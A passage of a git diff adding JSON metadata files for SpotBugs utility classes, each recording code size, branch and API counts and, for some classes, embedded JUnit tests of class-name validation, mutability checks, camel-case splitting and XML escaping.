assertTrue(ClassName.isValidClassName(\"[I\"));\n }" + }, + { + "description": "testFieldDescriptorTwoDimensionalArrayClassNameIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 167, + 170 + ], + "code": "@Test\n void testFieldDescriptorTwoDimensionalArrayClassNameIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"[[Lcom/bla/Parent;\"));\n }" + }, + { + "description": "testFieldDescriptorClassNameContainingAllowedSpecialCharactersIsValidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 172, + 175 + ], + "code": "@Test\n void testFieldDescriptorClassNameContainingAllowedSpecialCharactersIsValidClassName() {\n assertTrue(ClassName.isValidClassName(\"[[Lcom/bla/Parent$function!@#%^&*,?{}]()$variable$1;\"));\n }" + }, + { + "description": "testFieldDescriptorClassNameContainingDotsIsInvalidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 177, + 180 + ], + "code": "@Test\n void testFieldDescriptorClassNameContainingDotsIsInvalidClassName() {\n assertFalse(ClassName.isValidClassName(\"Lcom.bla.Parent;\"));\n }" + }, + { + "description": "testClassNameContainingBothSlashesAndDotsIsInvalidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 182, + 185 + ], + "code": "@Test\n void testClassNameContainingBothSlashesAndDotsIsInvalidClassName() {\n assertFalse(ClassName.isValidClassName(\"com.bla/Parent\"));\n }" + }, + { + "description": "testBinaryClassNameContainingDisallowedSpecialCharactersIsInvalidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 187, + 192 + ], + "code": "@Test\n void testBinaryClassNameContainingDisallowedSpecialCharactersIsInvalidClassName() {\n assertFalse(ClassName.isValidClassName(\"com/bla/Parent$function$variable$1;\"));\n assertFalse(ClassName.isValidClassName(\"com/bla/Parent$function;$variable$1\"));\n assertFalse(ClassName.isValidClassName(\"com/bla/Parent$function[$variable$1\"));\n }" + }, + { + "description": "testEmptyStringIsInvalidClassName", + "expected-problems": null, + "expected-linenumbers": [ + 194, + 197 + ], + "code": "@Test\n void testEmptyStringIsInvalidClassName() {\n assertFalse(ClassName.isValidClassName((\"\")));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassPathUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassPathUtil.json new file mode 100644 index 0000000..b46b8d2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ClassPathUtil.json @@ -0,0 +1,13 @@ +{ + "name": "ClassPathUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 96, + "branches": 11, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/CollectionAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/CollectionAnalysis.json new file mode 100644 index 0000000..0627049 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/CollectionAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "CollectionAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 7, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ContainsCamelCaseWordStringMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ContainsCamelCaseWordStringMatcher.json new file mode 100644 index 0000000..2c9b889 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ContainsCamelCaseWordStringMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "ContainsCamelCaseWordStringMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 6, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/DualKeyHashMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/DualKeyHashMap.json new file mode 100644 index 0000000..38d2636 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/DualKeyHashMap.json @@ -0,0 +1,13 @@ +{ + "name": "DualKeyHashMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 78, + "branches": 7, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/EditDistance.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/EditDistance.json new file mode 100644 index 0000000..64d1762 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/EditDistance.json @@ -0,0 +1,13 @@ +{ + "name": "EditDistance", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 13, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ExactStringMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ExactStringMatcher.json new file mode 100644 index 0000000..f89a513 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ExactStringMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "ExactStringMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FractionalMultiset.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FractionalMultiset.json new file mode 100644 index 0000000..91cac7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FractionalMultiset.json @@ -0,0 +1,13 @@ +{ + "name": "FractionalMultiset", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 135, + "branches": 10, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FutureValue.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FutureValue.json new file mode 100644 index 0000000..d353800 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/FutureValue.json @@ -0,0 +1,13 @@ +{ + "name": "FutureValue", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 10, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/HTML.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/HTML.json new file mode 100644 index 0000000..cf14726 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/HTML.json @@ -0,0 +1,13 @@ +{ + "name": "HTML", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 146, + "branches": 14, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/JavaWebStart.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/JavaWebStart.json new file mode 100644 index 0000000..4b4a78c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/JavaWebStart.json @@ -0,0 +1,13 @@ +{ + "name": "JavaWebStart", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 113, + "branches": 12, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/LaunchBrowser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/LaunchBrowser.json new file mode 100644 index 0000000..deac66f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/LaunchBrowser.json @@ -0,0 +1,13 @@ +{ + "name": "LaunchBrowser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 159, + "branches": 17, + "apis": 24, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MapCache.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MapCache.json new file mode 100644 index 0000000..2670338 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MapCache.json @@ -0,0 +1,13 @@ +{ + "name": "MapCache", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MergeMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MergeMap.json new file mode 100644 index 0000000..d4393c8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MergeMap.json @@ -0,0 +1,13 @@ +{ + "name": "MergeMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 6, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MethodAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MethodAnalysis.json new file mode 100644 index 0000000..14a65ec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MethodAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "MethodAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 6, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiMap.json new file mode 100644 index 0000000..8821e53 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiMap.json @@ -0,0 +1,13 @@ +{ + "name": "MultiMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 7, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiThreadedCodeIdentifierUtils.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiThreadedCodeIdentifierUtils.json new file mode 100644 index 0000000..424e5cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MultiThreadedCodeIdentifierUtils.json @@ -0,0 +1,13 @@ +{ + "name": "MultiThreadedCodeIdentifierUtils", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 168, + "branches": 19, + "apis": 32, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Multiset.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Multiset.json new file mode 100644 index 0000000..f828c52 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Multiset.json @@ -0,0 +1,13 @@ +{ + "name": "Multiset", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 10, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MutableClasses.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MutableClasses.json new file mode 100644 index 0000000..c8e972c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/MutableClasses.json @@ -0,0 +1,113 @@ +{ + "name": "MutableClasses", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 280, + "branches": 32, + "apis": 35, + "test": [ + { + "description": "testKnownMutable", + "expected-problems": null, + "expected-linenumbers": [ + 26, + 29 + ], + "code": "@Test\n void testKnownMutable() {\n Assertions.assertTrue(MutableClasses.mutableSignature(\"Ljava/util/Date;\"));\n }" + }, + { + "description": "testKnownImmutablePackage", + "expected-problems": null, + "expected-linenumbers": [ + 31, + 34 + ], + "code": "@Test\n void testKnownImmutablePackage() {\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ljava/time/LocalTime;\"));\n }" + }, + { + "description": "testKnownImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 36, + 40 + ], + "code": "@Test\n void testKnownImmutable() {\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ljava/lang/String;\"));\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ljava/util/regex/Pattern;\"));\n }" + }, + { + "description": "testLocale", + "expected-problems": null, + "expected-linenumbers": [ + 42, + 45 + ], + "code": "@Test\n void testLocale() {\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ljava/util/Locale;\"));\n }" + }, + { + "description": "testArray", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 50 + ], + "code": "@Test\n void testArray() {\n Assertions.assertTrue(MutableClasses.mutableSignature(\"[I\"));\n }" + }, + { + "description": "testAnnotatedImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 52, + 55 + ], + "code": "@Test\n void testAnnotatedImmutable() {\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ledu/umd/cs/findbugs/util/Annotated;\"));\n }" + }, + { + "description": "testMutable", + "expected-problems": null, + "expected-linenumbers": [ + 73, + 76 + ], + "code": "@Test\n void testMutable() {\n Assertions.assertTrue(MutableClasses.mutableSignature(\"Ledu/umd/cs/findbugs/util/MutableClassesTest$Mutable;\"));\n }" + }, + { + "description": "testImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 103, + 106 + ], + "code": "@Test\n void testImmutable() {\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ledu/umd/cs/findbugs/util/MutableClassesTest$Immutable;\"));\n }" + }, + { + "description": "testImmutableValuedBased", + "expected-problems": null, + "expected-linenumbers": [ + 109, + 115 + ], + "code": "@Test\n @DisabledOnJre({ JRE.JAVA_8, JRE.JAVA_11 })\n void testImmutableValuedBased() {\n // Annotated with @jdk.internal.ValueBased and has \"setValue\", which should normally trip detection\n System.out.println(\"starting.....\");\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ljava/util/KeyValueHolder;\"));\n }" + }, + { + "description": "testEnumsAreImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 130, + 133 + ], + "code": "@Test\n void testEnumsAreImmutable() {\n Assertions.assertFalse(MutableClasses.mutableSignature(\"Ledu/umd/cs/findbugs/util/MutableClassesTest$ImmutableTestEnum;\"));\n }" + }, + { + "description": "testErrorProneImmutable", + "expected-problems": null, + "expected-linenumbers": [ + 144, + 150 + ], + "code": "@Test\n void testErrorProneImmutable() {\n Assertions.assertFalse(MutableClasses.mutableSignature(\n \"Ledu/umd/cs/findbugs/util/MutableClassesTest$ErrorProneImmutable;\"));\n Assertions.assertFalse(MutableClasses.mutableSignature(\n \"Ledu/umd/cs/findbugs/util/MutableClassesTest$ErrorProneImmutableSubclass;\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NestedAccessUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NestedAccessUtil.json new file mode 100644 index 0000000..597c94e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NestedAccessUtil.json @@ -0,0 +1,13 @@ +{ + "name": "NestedAccessUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 192, + "branches": 28, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NotImplementedYetException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NotImplementedYetException.json new file mode 100644 index 0000000..dcb7eed --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NotImplementedYetException.json @@ -0,0 +1,13 @@ +{ + "name": "NotImplementedYetException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NullIterator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NullIterator.json new file mode 100644 index 0000000..285e8ed --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/NullIterator.json @@ -0,0 +1,13 @@ +{ + "name": "NullIterator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 62, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ProfilingMapCache.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ProfilingMapCache.json new file mode 100644 index 0000000..0b116fb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/ProfilingMapCache.json @@ -0,0 +1,13 @@ +{ + "name": "ProfilingMapCache", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 72, + "branches": 8, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/RegexStringMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/RegexStringMatcher.json new file mode 100644 index 0000000..89def0c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/RegexStringMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "RegexStringMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 2, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SecurityManagerHandler.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SecurityManagerHandler.json new file mode 100644 index 0000000..c69752c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SecurityManagerHandler.json @@ -0,0 +1,13 @@ +{ + "name": "SecurityManagerHandler", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 8, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SplitCamelCaseIdentifier.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SplitCamelCaseIdentifier.json new file mode 100644 index 0000000..9093bc9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SplitCamelCaseIdentifier.json @@ -0,0 +1,68 @@ +{ + "name": "SplitCamelCaseIdentifier", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 12, + "apis": 17, + "test": [ + { + "description": "testSplitLowerCamelCase", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 17 + ], + "code": "@Test\n void testSplitLowerCamelCase() {\n SplitCamelCaseIdentifier sut = new SplitCamelCaseIdentifier(\"displayGUIWindow\");\n Collection words = sut.split();\n checkContents(words, \"display\", \"gui\", \"window\");\n }" + }, + { + "description": "testSplit2", + "expected-problems": null, + "expected-linenumbers": [ + 19, + 24 + ], + "code": "@Test\n void testSplit2() {\n SplitCamelCaseIdentifier sut = new SplitCamelCaseIdentifier(\"DisplayGUIWindow\");\n Collection words = sut.split();\n checkContents(words, \"display\", \"gui\", \"window\");\n }" + }, + { + "description": "testSplitLong", + "expected-problems": null, + "expected-linenumbers": [ + 26, + 31 + ], + "code": "@Test\n void testSplitLong() {\n SplitCamelCaseIdentifier sut = new SplitCamelCaseIdentifier(\"nowIsTheWINTEROfOURDiscontent\");\n Collection words = sut.split();\n checkContents(words, \"now\", \"is\", \"the\", \"winter\", \"of\", \"our\", \"discontent\");\n }" + }, + { + "description": "testAllLower", + "expected-problems": null, + "expected-linenumbers": [ + 33, + 38 + ], + "code": "@Test\n void testAllLower() {\n SplitCamelCaseIdentifier sut = new SplitCamelCaseIdentifier(\"foobar\");\n Collection words = sut.split();\n checkContents(words, \"foobar\");\n }" + }, + { + "description": "testAllUpper", + "expected-problems": null, + "expected-linenumbers": [ + 40, + 45 + ], + "code": "@Test\n void testAllUpper() {\n SplitCamelCaseIdentifier sut = new SplitCamelCaseIdentifier(\"NSA\");\n Collection words = sut.split();\n checkContents(words, \"nsa\");\n }" + }, + { + "description": "testCapitalized", + "expected-problems": null, + "expected-linenumbers": [ + 47, + 52 + ], + "code": "@Test\n void testCapitalized() {\n SplitCamelCaseIdentifier sut = new SplitCamelCaseIdentifier(\"Maryland\");\n Collection words = sut.split();\n checkContents(words, \"maryland\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/StringMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/StringMatcher.json new file mode 100644 index 0000000..219f24b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/StringMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "StringMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Strings.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Strings.json new file mode 100644 index 0000000..d2f9305 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Strings.json @@ -0,0 +1,41 @@ +{ + "name": "Strings", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 305, + "branches": 28, + "apis": 48, + "test": [ + { + "description": "testEscapeXml", + "expected-problems": null, + "expected-linenumbers": [ + 52, + 62 + ], + "code": "@Test\n void testEscapeXml() {\n assert (escapedStrings.length == unescapedStrings.length);\n for (int i = 0; i < unescapedStrings.length; i++) {\n if (unescapedStrings[i] == null) {\n assert (Strings.escapeXml(unescapedStrings[i]) == null);\n } else {\n Assertions.assertEquals(escapedStrings[i], Strings.escapeXml(unescapedStrings[i]));\n }\n }\n }" + }, + { + "description": "testUnescapeXml", + "expected-problems": null, + "expected-linenumbers": [ + 64, + 74 + ], + "code": "@Test\n void testUnescapeXml() {\n assert (escapedStrings.length == unescapedStrings.length);\n for (int i = 0; i < escapedStrings.length; i++) {\n if (escapedStrings[i] == null) {\n assert (Strings.unescapeXml(escapedStrings[i]) == null);\n } else {\n assert (Strings.unescapeXml(escapedStrings[i]).compareTo(unescapedStrings[i]) == 0);\n }\n }\n }" + }, + { + "description": "testEscapeLFCRBackSlash", + "expected-problems": null, + "expected-linenumbers": [ + 80, + 86 + ], + "code": "@Test\n void testEscapeLFCRBackSlash() {\n checkEscapeLFCRBackSlash(\"abc\", \"abc\");\n checkEscapeLFCRBackSlash(\"\\\\n\", \"\\n\");\n checkEscapeLFCRBackSlash(\"\\\\r\", \"\\r\");\n checkEscapeLFCRBackSlash(\"\\\\\\\\a\\\\r\", \"\\\\a\\r\");\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SubtypeTypeMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SubtypeTypeMatcher.json new file mode 100644 index 0000000..25054ad --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/SubtypeTypeMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "SubtypeTypeMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 5, + "apis": 7, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TestDesktopIntegration.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TestDesktopIntegration.json new file mode 100644 index 0000000..08b4fd6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TestDesktopIntegration.json @@ -0,0 +1,13 @@ +{ + "name": "TestDesktopIntegration", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 270, + "branches": 21, + "apis": 88, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TopologicalSort.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TopologicalSort.json new file mode 100644 index 0000000..2c80773 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TopologicalSort.json @@ -0,0 +1,13 @@ +{ + "name": "TopologicalSort", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 302, + "branches": 36, + "apis": 63, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TripleKeyHashMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TripleKeyHashMap.json new file mode 100644 index 0000000..a998fc0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TripleKeyHashMap.json @@ -0,0 +1,13 @@ +{ + "name": "TripleKeyHashMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TypeMatcher.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TypeMatcher.json new file mode 100644 index 0000000..2722860 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/TypeMatcher.json @@ -0,0 +1,13 @@ +{ + "name": "TypeMatcher", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Util.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Util.json new file mode 100644 index 0000000..8bcb14b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Util.json @@ -0,0 +1,13 @@ +{ + "name": "Util", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 346, + "branches": 32, + "apis": 59, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Values.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Values.json new file mode 100644 index 0000000..a0705e7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/Values.json @@ -0,0 +1,13 @@ +{ + "name": "Values", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 114, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/WriteOnceProperties.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/WriteOnceProperties.json new file mode 100644 index 0000000..982c540 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/util/WriteOnceProperties.json @@ -0,0 +1,13 @@ +{ + "name": "WriteOnceProperties", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 5, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/AnnotationVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/AnnotationVisitor.json new file mode 100644 index 0000000..fca1f90 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/visitclass/AnnotationVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "AnnotationVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 320, + "branches": 58, + "apis": 69, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis 